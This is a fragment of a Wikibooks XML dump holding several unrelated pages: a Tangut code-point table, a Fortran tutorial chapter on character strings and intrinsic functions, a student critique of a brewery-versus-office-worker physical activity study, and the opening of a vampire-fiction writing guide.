|{{H:title|dotted=no|TANGUT COMPONENT-769|&amp;#x18d80;}}||{{H:title|dotted=no|TANGUT COMPONENT-770|&amp;#x18d81;}}||{{H:title|dotted=no|TANGUT COMPONENT-771|&amp;#x18d82;}}||{{H:title|dotted=no|TANGUT COMPONENT-772|&amp;#x18d83;}}||{{H:title|dotted=no|TANGUT COMPONENT-773|&amp;#x18d84;}}||{{H:title|dotted=no|TANGUT COMPONENT-774|&amp;#x18d85;}}||{{H:title|dotted=no|TANGUT COMPONENT-775|&amp;#x18d86;}}||{{H:title|dotted=no|TANGUT COMPONENT-776|&amp;#x18d87;}}||{{H:title|dotted=no|TANGUT COMPONENT-777|&amp;#x18d88;}}||{{H:title|dotted=no|TANGUT COMPONENT-778|&amp;#x18d89;}}||{{H:title|dotted=no|TANGUT COMPONENT-779|&amp;#x18d8a;}}||{{H:title|dotted=no|TANGUT COMPONENT-780|&amp;#x18d8b;}}||{{H:title|dotted=no|TANGUT COMPONENT-781|&amp;#x18d8c;}}||{{H:title|dotted=no|TANGUT COMPONENT-782|&amp;#x18d8d;}}||{{H:title|dotted=no|TANGUT COMPONENT-783|&amp;#x18d8e;}}||{{H:title|dotted=no|TANGUT COMPONENT-784|&amp;#x18d8f;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18D9x
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    <title>Fortran/strings</title>
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      <timestamp>2026-09-16T16:41:32Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
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{{Wikipedia|Fortran}}

Modern Fortran has a wide range of facilities for handling string or text data but some of these language-defined facilities have not been widely implemented by the compiler developers. It should be remembered that Fortran is designed for scientific computing and is probably not a good choice for writing a new word processor.

== Character type ==
The main feature in Fortran that supports strings is the intrinsic data type &lt;code&gt;character&lt;/code&gt;. A character literal constant can be delimited by either single or double quotes, and, where necessary, these can be escaped by using two consecutive single or double quotes. The concatenation operator is &lt;code&gt;//&lt;/code&gt; (but this cannot be used to concatenate character entities of different KIND). Character scalar variables and arrays are allowed. Character variables have a sub-string notation to refer to and extract sub-strings.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
program string_1
    implicit none
    ! Declarations
    character (len=6) :: word1
    character (len=2) :: word2

    word1 = &quot;abcdef&quot; ! Assignment
    word2 = word1(5:6) ! Substring
    word1 = 'Don''t ' ! Escape with a double quote
    write (*,*) word2//word1 ! Concatenation
end program string_1

&lt;/syntaxhighlight&gt;
In the above example, the two &lt;code&gt;character&lt;/code&gt; variables &lt;code&gt;word1&lt;/code&gt; and &lt;code&gt;word2&lt;/code&gt; are declared to have length 6 and 2 characters respectively.

In &lt;code&gt;character&lt;/code&gt; assignment operations, if the right hand side of the assignment is shorter than the left hand side, the remaining characters on the left hand side are filled with blanks. If the right hand side is longer than the left hand side, then the right hand side is truncated. In neither case is an error raised either by the compiler or at run time.

&lt;code&gt;character&lt;/code&gt; arrays and coarrays are permitted and can be declared and accessed in the same way as any other Fortran array. Where the array index and substring notations are to be combined, the array indices appear first and the substring expression appears second as illustrated in the final line of the following example:

&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
character (len=120), dimension (10) :: text
text(1) = 'This is the first element of the array &quot;text&quot;'
text(2:3) = ' '       ! Elements 2 and 3 are blank.
text(4)(20:20) = '!'  ! Character 20 of element 4.

&lt;/syntaxhighlight&gt;
Unlike some programming languages, Fortran &lt;code&gt;character&lt;/code&gt; data and variables do not require an explicit character to terminate a string. Also, unlike C-type languages, Fortran &lt;code&gt;character&lt;/code&gt; data do not accommodate embedded and escaped control characters (e.g. /n) and all processing of output control is done via an extensive &lt;code&gt;format&lt;/code&gt; sub-system.

== Character collating sequence ==
Internally, Fortran maintains a collating sequence for all the permitted characters. Non-printing characters may be included in the collating sequence. The collating sequence is not specified by the language standard but most vendors support either ASCII or EBCDIC. This collating sequence means that lexical comparisons can be performed to ascertain whether e.g. &lt;code&gt;'a'&lt;'b'&lt;/code&gt;, but the outcome is essentially vendor specific. Hence there is a difference between functions such as &lt;code&gt;ichar&lt;/code&gt; and &lt;code&gt;iachar&lt;/code&gt; that is described below.

== Character kind ==
&lt;code&gt;character&lt;/code&gt; can also have a &lt;code&gt;kind&lt;/code&gt;, but this is vendor-specific. It can allow compilers to support unicode, or the Russian alphabet or Japanese characters etc. It is not necessary to specify the length or kind of a &lt;code&gt;character&lt;/code&gt; variable. If a &lt;code&gt;character&lt;/code&gt; variable is declared with neither, the result is a variable of default kind and one character long. A single number is to indicate length, and two numbers indicate length and kind in that order. It is generally much clearer, but slightly more verbose to be explicit, as shown in lines 6-8 of the following example. The compiler vendor has control over which kinds of character are supported and the integer values assigned to access the corresponding character sets.

&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
program string_2
    implicit none
    character :: one
    character (5) :: english_name
    character (5,2) :: japanese_name
    character (len=80) :: line
    character (len=120, kind=3) :: unicode_line
    character (kind=4, len=256) :: ebcdic_string
    !...
end program string_2

&lt;/syntaxhighlight&gt;

The intrinsic function &lt;code&gt;selected_char_kind(name)&lt;/code&gt; returns the positive integer kind value of the character set with the corresponding name (e.g default, ascii, kanji, iso_10646 etc) but the only character set that must be supported is &lt;code&gt;default&lt;/code&gt;, and if the name is not supported then -1 will be returned. Disappointingly, vendors generally have been slow to implement more than the default kind but gfortran, for instance, is a notable exception.

== Language-defined Intrinsic Functions and Subprograms ==

Fortran has a fairly limited set of intrinsic functions to support character manipulation, searching and conversion. But the basic set is enough to construct some powerful features as required. There are some strange absences such as the ability to convert from lower-case to upper-case but this can be understood and forgiven since these concepts may not exist in many of the languages or character sets that may be represented by different &lt;code&gt;character&lt;/code&gt; kinds. Functions such as &lt;code&gt;size&lt;/code&gt;, &lt;code&gt;lbound&lt;/code&gt; and &lt;code&gt;ubound&lt;/code&gt; which apply to arrays of any data type, including character type, are not described here.

=== achar ===
&lt;code&gt;achar(i, kind)&lt;/code&gt; returns the ith character in the ASCII collating sequence for the characters of the specified kind. The integer &lt;code&gt;i&lt;/code&gt; must be in the range 0 &lt; i &lt; 127. Kind is an optional integer. If kind is not specified the default kind is assumed. &lt;code&gt;achar(72)&lt;/code&gt; has the value 'H'. One really useful feature of &lt;code&gt;achar&lt;/code&gt; is that it permits access to the non-printing ASCII characters such as return (&lt;code&gt;achar(13)&lt;/code&gt;). &lt;code&gt;achar&lt;/code&gt; will always return the ASCII character even if the processor's collating sequence is not ASCII. If kind is present, the kind parameter of the result is that specified by kind; otherwise, the kind parameter of the result is that of default character. If the processor cannot represent the result value in the kind of the result, the result is undefined. Using &lt;code&gt;achar&lt;/code&gt; is highly recommended in preference to &lt;code&gt;char&lt;/code&gt;, described below, because it is portable from one processor to another.

=== adjustl ===
&lt;code&gt;adjustl(string)&lt;/code&gt; left justifies by removing leading (left) blanks from string and filling the right of string with blanks so that the result has the same length as the input string.

=== adjustr ===
&lt;code&gt;adjustr(string)&lt;/code&gt; right justifies by removing trailing (right) blanks from string and filling the left of the string with blanks so that the result has the same length as the input string.

=== char ===
&lt;code&gt;char(i, kind)&lt;/code&gt; returns the ith character in the processor collating sequence for the characters of the specified kind. The integer &lt;code&gt;i&lt;/code&gt; does not have to be in the range 0 &lt; i &lt; 127. Kind is an optional integer. If kind is not specified the default kind is assumed. If the processor cannot represent the result value in the kind of the result, the result is undefined.

=== iachar ===
&lt;code&gt;iachar(c, kind)&lt;/code&gt; is the inverse of &lt;code&gt;achar&lt;/code&gt; described above. c is a single input character and &lt;code&gt;iachar(c)&lt;/code&gt; returns the position of c in the ASCII character set as a default integer. Kind is an optional input integer and if kind is specified, it specifies the kind of the integer returned by &lt;code&gt;iachar&lt;/code&gt;.

=== ichar ===
&lt;code&gt;ichar(c, kind)&lt;/code&gt; is the inverse of CHAR described above. c is a single input character and &lt;code&gt;ichar(c)&lt;/code&gt; returns the position of c in the selected character set as a default integer. Kind is an optional input integer and if kind is specified, it specifies the kind of the integer returned by &lt;code&gt;ichar&lt;/code&gt;.

=== index ===
&lt;code&gt;index(string, substring)&lt;/code&gt; returns a default integer representing the position of the first instance of substring in string searching from left to right. There are two optional arguments: back and kind. If the logical back is set true the search is conducted from right to left, and if the integer kind is specified, then the integer returned by &lt;code&gt;index&lt;/code&gt; will be of that kind. If substring does not appear in string the result is 0.

=== len ===
&lt;code&gt;len(c, kind)&lt;/code&gt; returns an integer representing the declared length of character c. This can be extremely useful in subprograms which receive character dummy arguments. &lt;code&gt;c&lt;/code&gt; can be a character array. Kind is an optional integer which controls the kind of the integer returned by &lt;code&gt;len&lt;/code&gt;.

=== len_trim ===
&lt;code&gt;len_trim(c, kind)&lt;/code&gt; returns the length of c excluding any trailing blanks (but including leading blanks). If c is only blanks the result is 0. Hence expressions like &lt;code&gt;len_trim(adjustl(c))&lt;/code&gt; can be used to count the number of characters in c between the first and last non-blank characters. Kind is an optional integer which controls the kind of the integer returned by &lt;code&gt;len_trim&lt;/code&gt;.

=== new_line ===
&lt;code&gt;new_line(c)&lt;/code&gt; is a character function that returns the new line character for the current processor. The kind of the returned character will be the same as the kind of &lt;code&gt;c&lt;/code&gt;. A blank character may be returned if the character kind from which &lt;code&gt;c&lt;/code&gt; is drawn does not contain a relevant newline character. This function is not likely to be used except in some very specific circumstances.

=== repeat ===
&lt;code&gt;repeat(string, ncopies)&lt;/code&gt; concatenates integer ncopies of the string. Hence &lt;code&gt;repeat('=',72)&lt;/code&gt; is a string of 72 equals signs. String must be scalar but can be of any length. Trailing blanks in string are included in the result.

=== scan ===
&lt;code&gt;scan(string, set, back, kind)&lt;/code&gt; returns a default integer (or an integer of the optional kind) that represents the first position that any character in set appears in string. To search right to left, the optional logical back must be set true. string can be an array in which case, the result in an integer array. If string is an array then set can be an array of the same size and shape as string and each element of set is scanned for in the corresponding element of string. &lt;code&gt;index&lt;/code&gt;, described above, is a special case of &lt;code&gt;scan&lt;/code&gt;, because every character of set must be found and in the order of the characters in set.

=== selected_char_kind ===
&lt;code&gt;selected_char_kind(name)&lt;/code&gt; is an integer function that returns the kind value of the character set named. The only set that must be supported by the language standard is &lt;code&gt;name='DEFAULT'&lt;/code&gt;. If name is not supported the result is -1.

=== trim ===
&lt;code&gt;trim(string)&lt;/code&gt; is a character valued function that returns a string with the trailing blanks removed. If string is all blanks the result has zero length.

=== verify ===
&lt;code&gt;verify(string, set, back, kind)&lt;/code&gt; is an integer function that returns the position of the first character in string that is not in set. So &lt;code&gt;verify&lt;/code&gt; is roughly the obverse of &lt;code&gt;scan&lt;/code&gt;. In &lt;code&gt;verify&lt;/code&gt; back and kind are both optional and have the same role as described in &lt;code&gt;scan&lt;/code&gt; above. If every character in string is also in set (or string has zero length), then the function returns 0.

=== Regular expressions ===
Fortran does not have any language-defined regex or sorting capability for character data. Fortran does not have a language-defined text tokenizer but, with a little ingenuity, list directed input can provide a partial solution. However, there are Fortran libraries that wrap C regex libraries.

== I/O of character data ==
=== read formatting ===
&lt;code&gt;read&lt;/code&gt; for character data can be list-directed or formatted using the &quot;a&quot; or &quot;an&quot; forms of this edit descriptor. In the &quot;a&quot; form, the width is taken from the width of the corresponding item in the list. In the &quot;an&quot; form, the integer n specifies the number of characters to transfer. The general edit description &quot;gn&quot; can also be used.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
character (120) :: line
open (10,&quot;test.dat&quot;)
read (10,'(a)') line        ! Read up to 120 characters into line
read (10,'(a5)') line(115:) ! Read 5 character and put them at the end of line

&lt;/syntaxhighlight&gt;

=== write Formatting ===
The a and g edit descriptors exist for &lt;code&gt;write&lt;/code&gt; as described above. The &quot;a&quot; form will write the whole character variable including all the trailing blanks so it is common to use &lt;code&gt;trim&lt;/code&gt; or &lt;code&gt;adjustl&lt;/code&gt; or both.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
character (len=512) :: line
!...
write (10,'(a)') trim(adjustl(line))
&lt;/syntaxhighlight&gt;

=== Internal Read and Write ===
Fortran has many hidden secrets and one of the most useful is that &lt;code&gt;read&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; statements can be used on character variables as if they were files. Hence the otherwise mystifying lack of functions to convert numbers to strings and vice versa. The character variable is treated as an 'internal file'

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
character (120) :: text_in, text_out
integer :: i
real :: x
!...
write (text_in,'(A,I0)') 'i = ', i  ! Formatted
!...
read (text_out,*) x  ! List-directed

&lt;/syntaxhighlight&gt;
In addition to type conversion, this internal read/write can be used as a very flexible and bullet proof method of reading files where the contents may be of uncertain format. The external file is read line by line into a character variable, &lt;code&gt;scan&lt;/code&gt; and &lt;code&gt;verify&lt;/code&gt; can be used on the line to determine what is present and then an internal file read is done on the character variable to convert to &lt;code&gt;real&lt;/code&gt;, &lt;code&gt;integer&lt;/code&gt;, &lt;code&gt;complex&lt;/code&gt; etc as appropriate.

== Recent Extensions ==
=== character(:), allocatable ===
The size of character scalar data can be deferred (or &quot;allocatable&quot;) and therefore free from being required to be declared of a specific length. The resulting scalar can then be formally allocated, or it can be automatically allocated as shown in the following example.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
character (:), allocatable :: string
!...
string = 'abcdef'
!...
string = '1234567890'
!...
string = trim(line)
!...
&lt;/syntaxhighlight&gt;

It is even possible to declare an array of assumed length elements, as illustrated below.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
character (:), dimension (:), allocatable :: strings

&lt;/syntaxhighlight&gt;
However, this feature should be used carefully and some restrictions apply

== Actual/Dummy arguments of type character ==
It is frequently the case that a procedure may be written with a character dummy argument where the length of that argument is not known in advance. Modern Fortran allows dummy arguments to be declared with assumed length using &lt;code&gt;len=*&lt;/code&gt;. Functions of type character can be written so that the result assumed a length related to the length of the dummy arguments.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
call this('Hello')
call this('Goodbye')
!...
subroutine this(string)
    implicit none
    character (len=*), intent (in) :: string
    character (len=len(string)+5)  :: temp
    !...
end subroutine

&lt;/syntaxhighlight&gt;
In the above example, the &lt;code&gt;character&lt;/code&gt; variable &lt;code&gt;temp&lt;/code&gt; is declared to have 5 more characters than string, no matter how long the actual argument is. In the next example, a function return a string, the length of which is related to the length of one or more arguments.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
string = that('thing', 7)
!...
function that(in_string, n) result (out_string)
    implicit none
    character (len=*), intent (in)    :: in_string
    integer, intent(in)               :: n
    character (len=len(in_string)*n)  :: out_string
    !...
end function
&lt;/syntaxhighlight&gt;

In circumstances where the character function has to return a string and the length of this string is not simply related to the inputs, the assumed length, allocatable form described above can be used, and is illustrated in the case conversion examples below.

== character parameters ==
&lt;code&gt;character&lt;/code&gt; parameters can be declared without explicitly stating the length, for example;

&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
character (*), parameter :: place = 'COEFF_LIST_initialise'

&lt;/syntaxhighlight&gt;

== Approaches to Case Conversion ==
Here are some further examples of the ideas above, but directed to the case conversion for languages where case conversion as a concept exists. In the first example, the ASCII character set functions &lt;code&gt;iachar&lt;/code&gt; and &lt;code&gt;achar&lt;/code&gt; are used to check each character in a string consecutively.

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
function up_case(in) result (out)
    implicit none
    character (*), intent (in) :: in
    character (:), allocatable :: out
    integer                    :: i, j

    out = in                           ! Transfer whole array
    do i = 1, LEN_TRIM(out)            ! Each character
        j = iachar(out(i:i))           ! Get the ASCII position
        select case (j)
            case (97:122)              ! The lower case characters
                out(i:i) = ACHAR(j-32) ! Offset to the upper case
        end select
    end do
end function up_case

&lt;/syntaxhighlight&gt;

An alternative approach that does not rely on the ASCII representation function could be as follows:

Example
&lt;syntaxhighlight lang=&quot;fortran&quot;&gt;
function to_upper(in) result (out)
    implicit none
    character (*), intent (in) :: in
    character (:), allocatable :: out
    integer                    :: i, j
    character (*), parameter   :: upp = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    character (*), parameter   :: low = 'abcdefghijklmnopqrstuvwxyz'

    out = in                          ! Transfer all characters
    do i = 1, len_trim(out)           ! All non-blanks
        j = index(low, out(i:i))      ! Is ith character in low
        if (j&gt;0) out(i:i) = upp(j:j)  ! Yes, then subst with upp
    end do
end function to_upper

&lt;/syntaxhighlight&gt;

Which routine is quicker will depend on the relative speed of the &lt;code&gt;index&lt;/code&gt; and &lt;code&gt;iachar&lt;/code&gt; intrinsics. In one less than very scientific test, the first method above seemed to be slightly more than twice as fast as the second method, but this will vary from vendor to vendor.

{{BookCat}}</text>
      <sha1>ioadmrtcayueu1lc8pcz56s0qekvj8s</sha1>
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  </page>
  <page>
    <title>Exercise as it relates to Disease/Quantifying occupational physical activity manual labour vs office workers</title>
    <ns>0</ns>
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      <id>4670474</id>
      <parentid>4604614</parentid>
      <timestamp>2026-09-16T16:57:23Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>measurment &gt; measurement</comment>
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      <text bytes="11559" sha1="493kv8wucagbu1nivy8v1l39qkb0sso" xml:space="preserve">
This is a critique of the research article: Occupational Physical Activity in Brewrey and Office workers &lt;ref&gt;Thompson J, Severson R, Rosecrance J. Occupational physical activity in brewery and office workers. Journal of Occupational and Environmental Hygiene. 2018;15(9):686-699.&lt;/ref&gt; 

== What is the background to this research? ==
Physical inactivity has been classified as the 4th most common risk factor for global mortality &lt;ref&gt;PAHO/WHO - Home - Pan American Health Organization [Internet]. Paho.org. 2019 [cited 16 September 2019]. Available from: https://www.paho.org/hq/index.php?lang=en&lt;/ref&gt;. With known health risks associated physical inactivity it is still estimated that only around 5% of American adults meet physical activity guidelines &lt;ref&gt;Matthews C. PHYSICAL ACTIVITY IN THE UNITED STATES MEASURED BY ACCELEROMETER: COMMENT. Medicine &amp; Science in Sports &amp; Exercise. 2008;40(6):1188.&lt;/ref&gt;. However, with increasing growth and use of technology to aid in professional life has manufactured an a prevalent physically inactive life style.

Self-reporting measures of physical activity have previously been the primary source of obtaining physical activity or occupational physical activity measures &lt;ref&gt;Dumith S, Hallal P, Reis R, Kohl H. Worldwide prevalence of physical inactivity and its association with human development index in 76 countries. Preventive Medicine. 2011;53(1-2):24-28.&lt;/ref&gt;&lt;ref&gt;CRAIG C, MARSHALL A, SJ??STR??M M, BAUMAN A, BOOTH M, AINSWORTH B et al. International Physical Activity Questionnaire: 12-Country Reliability and Validity. Medicine &amp; Science in Sports &amp; Exercise. 2003;35(8):1381-1395.&lt;/ref&gt;. Though many suggestions of validity and reliability, some literature has suggested a limitation in assessing absolute measures as well as intensity of physical activity using self-reporting questionaries for physical activity &lt;ref&gt;Sallis J, Saelens B. Assessment of Physical Activity by Self-Report: Status, Limitations, and Future Directions. Research Quarterly for Exercise and Sport. 2000;71(sup2):1-14.&lt;/ref&gt;&lt;ref name=&quot;Reilly&quot;&gt;Reilly J, Penpraze V, Hislop J, Davies G, Grant S, Paton J. Objective measurement of physical activity and sedentary behaviour: review with new data. Archives of Disease in Childhood. 2008;93(7):614-619.&lt;/ref&gt;. Developing accelerometry technology has been proposed to be a valid and reliable as well as practical method of quantifying the amount and intensity of physical activity as well as sedentary behaviour &lt;ref name=&quot;Reilly&quot;&gt;Reilly J, Penpraze V, Hislop J, Davies G, Grant S, Paton J. Objective measurement of physical activity and sedentary behaviour: review with new data. Archives of Disease in Childhood. 2008;93(7):614-619.&lt;/ref&gt;.

The purpose of this study was to assess the occupational physical activity levels between a generally physically active and relatively sedentary work environments. Additionally, this study assessed the level of agreement between two types of accelerometer-based activity trackers. 

== Where is the research from? ==

Thompson, Severson and Rosecrance’s article was published in the Journal of Occupational and Environmental Hygiene (JOEH). JOEH is a joint publication of the American Industrial Hygiene Association and The American Conference of Governmental Industrial Hygienists, dedicated to enhancing knowledge and practice of occupational and environmental hygiene and safety &lt;ref&gt;Journal of Occupational and Environmental Hygiene [Internet]. Taylor &amp; Francis. 2019 [cited 16 September 2019]. Available from: https://www.tandfonline.com/toc/uoeh20/current&lt;/ref&gt;. 

This was Janalee’s first publication while at the Centre for Health, Work &amp; Environment at the Colorado School of Public Health. She then followed with her second publication relating to Total Worker Health relating to a small business leader perspective. Janalee has since becoming a Safety and Industrial Hygiene Professional II at City and County of Denver, Denvor Public. This suggests a great eagerness and depth of experience within the field of occupational health. Severson and Rosecrance have both also published several journals within this field &lt;ref&gt;Search results | Taylor &amp; Francis Online [Internet]. Tandfonline.com. 2019 [cited 16 September 2019]. Available from: https://www.tandfonline.com/author/Rosecrance%2C+John+C&lt;/ref&gt;&lt;ref&gt;Search results | Taylor &amp; Francis Online [Internet]. Tandfonline.com. 2019 [cited 16 September 2019]. Available from: https://www.tandfonline.com/author/Severson%2C+Rachel+L&lt;/ref&gt;. 

This research was conducted in the United States of America however, is still relevant within Australia.  

== What kind of research was this? ==
This research was conducted classified as an observational study due to the purpose in which to quantify the physical activity within two working populations. It could be suggested that it consists of possible quasi-experimental components as there was no control group within the design. The study may also be considered to be cross-sectional designed as there is a comparison element with physical activity between two different occupation groups as well as between accelerometry devices.  As the purpose of this study was to observe the physical activity levels related to occupational groups as well as assess the variability between devices, this study design is appropriate. 

== What did the research involve? ==
This research originally consisted of 101 participants. Of which 50 volunteers from which were within the physically activity occupation group (brewery) and 51 volunteers from the office-based occupation group (call centre an engineering department). However, the final data analysis was conducted on 47 participants from the brewery and 47 office workers due to removal policies relating to device connection, consumption of medication relating affecting heart rate and abnormal physical activity due to knowledge of physical activity recording. The physical activity of each participant was recorded for one working shift. 
Physical activity for these participants were measured using both a Fitbit Charge HR and a Hexoskin to obtain two separate interpretations. Each participant was allocated both a Fitbit Charge HR and a Hexoskin and asked to wear them for an entire singular work day. from this the following was recorded:

	
* Steps (Steps per hour)
* 	Heart rate (bpm)
* 	Percent maximal HR Range (%)
* 	Calories (kcal)
* 	METS (only determined from the Fitbit)


Percentage maximal HE range was determined using the following formula:

                          100 x (Average HR on job-Resting HR)/(Predicted HRmax-Resting HR)

Predicted HRmax was found using the age dependent formula for maximal HR (220-age in bpm). Whereas, the resting HR was defined as the lowest mean HR for a 60sec time period while sitting during the shift. 

Limitations related to this study need to be considered whilst interpreting the relating results. Whilst the Fitbit Charge HR is popular device, it has the ability to falsely record additional data when misinterpreting additional arm-based movements as steps. This device also has the ability to present possible bias relating to abnormal extra physical activity due to its obvious presence on the wrist. Additionally, the percentage maximal HR range’s validity could be questioned as a true resting HR was unable to be found, instead using the lowest mean HR at work for 60 seconds. The participant recruitment method of occupation management asking employees for expressions of interest, resulting in a possible ‘healthy worker effect’, including those with an already increased physical activity or healthy lifestyle participating. Finally, the duration of data collection was only the duration of one shift with shifts ranging from 5-12 hours. This may not give a true representation of the occupation populations physical activity levels. 


== What were the basic results? ==

Statistical analysis investigating the difference between groups measures of steps, HR average percent maximal HR range and energy expenditure, using a two-sample t-test. A two-factor ANOVA was also used to assess the difference in mean hourly steps, mean HR, between devices and between occupational groups. Finally, a Bland-Altman plot was used to analyse and quantify agreement and bias between mean differences. All statistical significance was determined to the level of 0.05 for all tests. 

Reliability was found to be of moderate for hourly steps and good for mean HR within both devices. Significant differences were found between devices for both measures of hourly steps and HR. Fitbit Charge HR consistently measures higher mean hourly steps whereas the Hexoskin consistently measured greater mean HR. Brewery workers took more steps, had greater mean HR and maximal percent HR range, and higher energy expenditure than office workers. The following table 1. Summarizers means for, SD, difference between means and p-values for all measured factors. 

{| class=&quot;wikitable&quot;
|-
! Device !! Measurement !! Brewery !!   !! Office !!   !! Difference 
|-
| || || Mean || SD || Mean || SD ||
|-
| Hexoskin || Steps (per hour) || 727.53 || 294.86 || 302.34 || 181.92 || 425.2
|-
| || HR (bpm) || 88.9 || 13.45 || 84.11 || 13.77 || 4.79
|-
| || % HRmax range || 23.04 || 4.96 || 17.88 || 5.09 || 5.16
|-
| || Calories || 2209.15 || 769.14 || 1387.28 || 611.9 || 821.87
|-
| Fitbit || Steps (per hour) || 1218.73 || 363.84 || 441.72 || 200.77 || 777
|-
| || HR (bpm) || 84.17 || 13.16 || 76.48 || 12.18 || 7.7
|-
| || % HRmax range || 14.95 || 4.42 || 9.87 || 2.66 || 5.09
|-
| || Calories || 1871 || 598 || 885 || 272 || 985
|-
| || METs || 3 || 0.92 || 1.81 || 0.59 || 1.19
|-
|}


== What conclusions can we take from this research? ==

Significant differences were found in the physiological cost related to office workers compared to brewery workers. Differences in mean hourly steps and heart rate between occupations suggests it is important to understand the physical activity demands related to each occupation. The Hexoskin was reported to have invasive properties and therefore would not be recommended to record occupational physical activity levels. The Fitbit charge HR appears to be a practical tool to observe occupational physical activity, however, it too does possess some limitations and therefore may need to undergo resting to assess reliability and validity. 

== Practical advice ==

This study aids in adding depth into understanding physical activity levels within an different occupational environments. This research along with the previous research indicating the possible negative effects related to sedentary and physical inactivity lifestyles, may help business owners or employers implement initiatives to help increase OPA levels. On the other hand, it may also aid in predicting or evaluating levels of fatigue within more physically active occupations. Wearable devices are continuing to be developed and advanced and their validation should be continuously be assessed against proven methods. If work place duties are designed with OPA in mind and physical activity guidelines, then a healthier workplace could be obtained. 

== Further information/resources ==
World Health Organisation

The Australian Department of Health: For Australian Physical Activity and Sedentary Behaviour Guidelines
 
An office-place stepping device to promote workplace physical activity&lt;ref&gt;An office-place stepping device to promote work-place physical activity&lt;/ref&gt;

== References ==
{{Reflist}}

{{BookCat}}</text>
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  <page>
    <title>Create Vampires</title>
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      <text bytes="6122" sha1="gxkcvuzstmsaevxbhayo084jhwb9df0" xml:space="preserve">{{Formatting}}
 &lt;br&gt;''Create Vampires'' is a book intended as a guide to avoid literary pitfalls, and as a nonfiction resource for those fascinated by vampires. This book examines vampires through a cultural, literary, and historical lens to help writers create authentic vampire narratives.

== Vampires ''Of The Imagination'' ==

Although vampires are creatures of folklore, monsters from the ''afterlife'' that are sometimes called the &quot;undead,&quot; vampires are uniquely different from ghost, those lingering spirits who refuse to die.

Although vampires, by definition, are animated corpses, most vampires ''of the imagination'' must feed on human blood in order to continue their earthly existence. This unique quality makes vampires a popular and original type of fiction, slightly different from other creatures found in folklore. Because of their unique characteristics, vampires have become massively popular in popular culture and in literature. 

We hope this book will clear up many misconceptions, and common misunderstandings associated with the &quot;undead,&quot; especially a common confusion ''about'' the actual people who did inspire vampire folklore, verses the evolved horror creations called vampires of the imagination.

'''Create Vampires''' aims to treat vampires as a cultural, literary and historical construct. Perhaps Create Vampires should be considered a friendly craft-manual for building a believable vampire concept, available across different medias.

== Preface: The Factual Roots Of Vampires ==
&lt;br /&gt;
{| class=&quot;wikitable&quot;
|-
! Factual Basis For Vampires?
|-
| [[/Factual Basis For Vampires/]] is a special page intended to offer information about the factual bases for vampires.
|}
&lt;br&gt;
'''What Type Of Book Is This?'''
&lt;br /&gt;
{| class=&quot;wikitable&quot;
|-
! '''Create Vampires''' is one of many free Wikibooks
|-
|  Wikibooks.org is a part of the Wikimedia project. Writers and contributors are volunteers who cull through websites, &lt;BR&gt; use online search engines to find facts, and volunteer to work on special projects that are open to the public. &lt;BR&gt; Volunteers are people who write, edit, and help people understand the powerful tools at their fingertips.
|}
{| class=&quot;wikitable&quot;
|-
! Edvard Munch - Love and Pain / Vampire (1895) || &quot;Les Vampires&quot;
|-
| [[File:Edvard Munch - Vampire (1895) - Google Art Project.jpg|thumb|Edvard Munch - Vampire (1895) - Google Art Project]] || [[File:Les vampires.jpg|thumb|Les vampires]]
|}


== All About Vampires ==
 '''Not All Links Work'''

{| class=&quot;wikitable&quot;
|-
! Table Of Content
|-
| Introduction: [[Create Vampires/Original Fictional Creations|&quot;Original Fictional Creations&quot;]]
|-
| Proper Spelling: [[Create Vampires /Vam-Pai-Yer| &quot;How Do You Spell Vam-Pai-Yer?&quot;]]
|-
| [[Create Vampires/Alternative Spelling| &quot;Alternative Spellings&quot;]]
|-
| What ''Is'' A Vampire? [[Create Vampires /ADefinitionForVampire|Create Vampires /ADefinitionForVampire - Wikibooks, open books for an open world]]
|-
| Why Create A Vampire? : [[Create_Vampires/Why_Create_Vampires]]
|-
|- '''Cultural Origins'''
|-
|'''Cultural Vampire Construct'''
|-
|What Is A Cultural Construct? - [[Create Vampires/Cultural Construct|Create Vampires/Cultural Construct - Wikibooks, open books for an open world]]
|-
| '''Vampire Folklore: [[Create Vampires/HistoricalAndCross-CulturalOriginsOfVampireArchetypes]]'''
|-
| African Folklore: [[Create Vampires/AfricanFolklore]]
|-
| Latin-American Folklore: [[Create Vampires/LatinAmericanFolklore|Create Vampires/LatinAmericanFolklore - Wikibooks, open books for an open world]]
|-
| Asian Folklore: [[Create Vampires/Asian Folklore#Asian Folklore|Create Vampires/Asian Folklore - Wikibooks, open books for an open world]]
|-
|Eastern Folklore: [[Create Vampires/Eastern European Folklore| &quot;Eastern European Folklore&quot;]]
|-
| Eastern Folklore: [[Create_Vampires/Dracula_Behind_Vlad-The_Impaler]]
|-
|[[Create Vampires/HowCulturalTraditionsShapedVampireTraits|Create Vampires/HowCulturalTraditionsShapedVampireTraits - Wikibooks, open books for an open world]]
|-
|- '''Literary Construct'''
|-
|'''Literary Construct'''
|-
|What Is A Literary Trope? [[Create Vampires/What Is A Literary Trope]] 
|-
| Literary And Media Pitfalls To Avoid: [[Create Vampires/Examples Of Literary Pitfalls|Create Vampires/Examples Of Literary Pitfalls - Wikibooks, open books for an open world]]
|-
| Authors Who Created Influential Vampires Of The Imagination: [[Create Vampires/Authors Who Created Vampire Tropes]] 
|-
| [[Create Vampires/writers who did not create vampires| &quot;Writers Who Did Not Create Vampires&quot;]]
|-
| Popular Culture: [[Create Vampires/Vampires In Popular Culture|Create Vampires/Vampires In Popular Culture - Wikibooks, open books for an open world]]
|-
